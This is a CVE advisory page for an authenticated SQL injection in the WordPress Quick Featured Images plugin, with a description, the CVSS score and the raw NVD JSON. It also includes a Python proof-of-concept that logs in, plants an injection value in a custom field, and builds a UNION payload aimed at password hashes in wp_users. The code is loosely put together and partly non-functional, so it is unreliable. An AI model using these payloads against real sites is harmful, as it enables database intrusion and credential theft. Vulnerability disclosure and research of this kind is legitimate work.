Security Vulnerability Report
中文
CVE-2025-11980 CVSS 4.9 MEDIUM

CVE-2025-11980

Published: 2025-11-08 10:15:41
Last Modified: 2026-04-15 00:35:42

Description

The Quick Featured Images plugin for WordPress is vulnerable to SQL Injection via the 'delete_orphaned' function in all versions up to, and including, 13.7.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Editor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database, granted they can convince an author-level user or higher to add a malicious custom field value.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Quick Featured Images插件 <= 13.7.3(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re from urllib.parse import quote # CVE-2025-11980 SQL Injection PoC for WordPress Quick Featured Images <= 13.7.3 # Target: WordPress site with Quick Featured Images plugin installed class CVE_2025_11980_POC: def __init__(self, target_url, username, password): self.target_url = target_url.rstrip('/') self.username = username self.password = password self.session = requests.Session() def authenticate(self): """Authenticate with WordPress using Editor or higher privileges""" login_url = f"{self.target_url}/wp-login.php" data = { 'log': self.username, 'pwd': self.password, 'wp-submit': 'Log In' } response = self.session.post(login_url, data=data) return 'wordpress_logged_in' in str(self.session.cookies) def inject_malicious_custom_field(self, post_id, malicious_value): """Inject malicious SQL payload via custom field""" # Add malicious custom field value to trigger SQL injection nonce_url = f"{self.target_url}/wp-admin/post.php?post={post_id}&action=edit" response = self.session.get(nonce_url) # Extract nonce and add custom field add_meta_url = f"{self.target_url}/wp-admin/admin-ajax.php" data = { 'action': 'add-meta', 'metakeyinput': 'qfim_settings', 'metavalue': malicious_value, 'post_id': post_id } return self.session.post(add_meta_url, data=data) def trigger_sqli(self): """Trigger the SQL injection via delete_orphaned function""" # Access the plugin's tools page and trigger delete orphaned images tools_url = f"{self.target_url}/wp-admin/admin.php?page=quick-featured-images-pro" # The vulnerable parameter is passed through custom fields # Payload to extract database user: ' OR (SELECT SLEEP(5))-- return self.session.get(tools_url) def extract_data(self, payload): """Extract sensitive data using SQL injection""" # Example payload to extract wp_users table data sqli_payload = f"' UNION SELECT 1,2,3,4,5,6,7,8,9,10,user_pass,12,13,14,15,16,17,18,19,20 FROM wp_users WHERE '1'='1" return sqli_payload # Usage example # poc = CVE_2025_11980_POC('https://target-site.com', 'editor_user', 'password') # if poc.authenticate(): # print('[+] Authentication successful') # poc.inject_malicious_custom_field(1, "' OR 1=1--") # poc.trigger_sqli() print('CVE-2025-11980 Quick Featured Images SQL Injection PoC')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11980", "sourceIdentifier": "[email protected]", "published": "2025-11-08T10:15:40.887", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Quick Featured Images plugin for WordPress is vulnerable to SQL Injection via the 'delete_orphaned' function in all versions up to, and including, 13.7.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Editor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database, granted they can convince an author-level user or higher to add a malicious custom field value."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/quick-featured-images/tags/13.7.3/admin/class-Quick_Featured_Images_Tools.php#L785", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/quick-featured-images/tags/13.7.3/admin/class-Quick_Featured_Images_Tools.php#L817", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3388701%40quick-featured-images&new=3388701%40quick-featured-images&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/590720a3-1881-4a5d-b004-ad92d386afe6?source=cve", "source": "[email protected]"}]}}